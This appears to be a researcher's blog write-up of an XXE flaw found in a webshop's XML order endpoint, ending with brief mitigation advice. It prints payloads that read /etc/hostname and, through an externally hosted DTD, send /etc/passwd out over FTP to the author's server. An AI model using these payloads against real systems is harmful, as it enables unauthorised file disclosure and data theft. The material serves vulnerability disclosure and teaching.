Exploiting XXE to gain LFI
Topic
Today I'd like to talk to you about a vulnerability I've found some years ago in a webshop application.
The application itself is nothing fancy. It's just a form which creates an order with XML values you submit to it.
Structure
The UI doesn't really look appealing or UX-friendly, but it does its job and I'm only interested in the backend.
The documentation stated how the XML needs to be properly structured to appear valid for further processing.
<ORDERIN>
<KOPF>
<Sender>Customer Nr.</Sender>
<KopfText1>n/a</KopfText1>
<IhrZeichen>n/a</IhrZeichen>
<Bestelldatum>12.07.2020</Bestelldatum>
<Lieferdatum>13.07.2020</Lieferdatum>
<KopfKommission>
<Kommission>Commission Nr.</Kommission>
</KopfKommission>
</KOPF>
<POSITION>
<Artikel-Nr>Article Nr.</Artikel-Nr>
<BestellMenge>quantity</BestellMenge>
<Postext>
<Texte>n/a</Texte>
</Postext>
</POSITION>
</ORDERIN>
The vulnerability
Many XML-Parsing libraries aren't configured correctly and let you define External Entities.
The vulnerability itself is called XXE (XML External Entity) - Read more here
It turned out that the XML-Parser wasn't configured property (tam tam taaa insert meme here). DTD and external entities were allowed.
Recon
I've tried some elements with certain values to see if they would give me any sort of feedback.
Most of them failed with the following message:
After some trial and error I've found that the elements <Kommission>
and <IhrZeichen>
were valid payload holders.
Getting the hostname
For basic stuff you don't need some fancy dtd stuff.
<?xml version=1.2" encoding="ISO-8859-1"> ?>
<!DOCTYPE foo [ <!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file://etc//hostname" >]>
...
<Kommission>&xxe;</Kommission>
...
This request returned the following result: (hostname of the server)
Getting the hostname of a server is already pretty great but only reporting a LFI vuln would be pretty boring.
Grabbing interesting stuff
The problem with this particular XXE is that we need to rely on the max input settings of the XML which is defined by the backend.
There was no way to return more than one line (cause of \r\n
chars which mess
with the output).
If you can't reflect something, why not just redirect the output somewhere else?
Multiple protocols can be misused to do just this.
There's no magic behind it. I just spun up a quick ftp server and listened for incoming traffic.
Reading files is quite simple. All I had to do is setting up a HTTP server with a .dtd file
in its root directory and wait for the victim to pick it up and process it.
It would have been possible to do it without a .dtd file, but where's there the
fun?
python -m 'SimpleHTTPServer'
DTD File:
<!ENTITY % a SYSTEM "file:///etc/passwd">
<!ENTITY % b "<!ENTITY ftp SYSTEM 'ftp://uauth.io/%a;'>"
XML:
<?xml version=1.2" encoding="ISO-8859-1"> ?>
<DOCTYPE XXE [
<!ENTITY % dtd SYSTEM "http://uauth.io/xxe.dtd">
...
<IhrName1>%dtd;</IhrName1>
<Kommission>%ftp;</Kommssion>
I used the following ruby ftp stub to extract the passwd file.
xxe-ftp-server
My ftp logs now showed the contents of /etc/passwd - hurray!
How to get RCE
To gain RCE you need to hope that the php expect
module is activated.
PHP expect module
It isn't on by default. So you most likely LFI is the best you can do.
Conclusion
XXE is a well documented vulnerability and lot of resources are out there.
- Disable External Entities if not needed.
- If needed - whitelist the sites hosting dtd.
- Firewall your Servers
Always test your own servers before the baddies do. :)
Reward
A cold and wet handshake.